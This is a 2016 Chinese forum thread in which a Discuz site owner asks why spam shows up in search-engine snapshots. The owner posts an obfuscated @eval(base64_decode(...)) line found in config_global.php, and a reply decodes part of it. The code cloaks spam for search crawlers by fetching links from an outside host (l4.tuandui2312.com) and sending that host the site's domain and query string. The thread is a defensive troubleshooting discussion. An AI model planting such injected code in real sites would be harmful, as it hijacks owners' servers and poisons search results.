RT ,这些垃圾信息出现在网页快照的最上面,网页源码里没有找到,怎么处理是好,各位大侠请指点一二
1
mrjoel 2016-09-11 22:00:12 +08:00
发下网址吧
|
2
mrjoel 2016-09-11 22:03:21 +08:00 1
不方便发的话,你看下 360 快照里面有没有这些内容,百度和 google 都展示 js 内容,而 360 不展示。
|
3
Myflos OP @mrjoel 谢谢, 360 和百度都有, google 没有;网站是 discuz ,在 config_global.php ,找到如下代码
@eval(base64_decode("CiRvcHRzID0gYXJyYXkoCiAgJ2h0dHAnPT5hcnJheSgKICAgICdtZXRob2QnPT4iR0VUIiwKICAgICd0aW1lb3V0Jz0+MTAsCiAgICkKKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOwokZG9tYWluICA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwoKaWYoaXNTcGlkZXIoKSl7CgkkY29udGVudD0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbDQudHVhbmR1aTIzMTIuY29tL2xpbmsucGhwP2RvbWFpbj0nLiRkb21haW4uIiZzcGlkZXI9Ii5pc1NwaWRlcigpLiImcXVlcnk9Ii5iYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSksZmFsc2UsJGNvbnRleHQpOwoJZWNobyAkY29udGVudDsKfQpmdW5jdGlvbiBpc1NwaWRlcigpewoJJGJvdHMgPSBhcnJheSgKCQknYmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCSdzb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJJzM2MHNwaWRlcicgICAgICAgID0+ICdoYW9zb3VzcGlkZXInLAoJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVyJywKCQknYmluZ2JvdCcgICAgICAgID0+ICdiaW5nYm90JwoJKTsKICAgICR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiAgICBmb3JlYWNoICgkYm90cyBhcyAkayA9PiAkdil7CiAgICAgICAgaWYgKHN0cmlzdHIoJHVzZXJBZ2VudCwkdikpewogICAgICAgICAgICByZXR1cm4gJGs7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9")); $_config = array(); |
4
UnisandK 2016-09-12 00:04:28 +08:00 1
针对搜索引擎爬虫输出的
if(isSpider()){ $content= @file_get_contents('http://l4.tuandui2312.com/link.php?domain='.$domain."&spider=".isSpider()."&query=".base64_encode($_SERVER['QUERY_STRING']),false,$context); echo $content; } |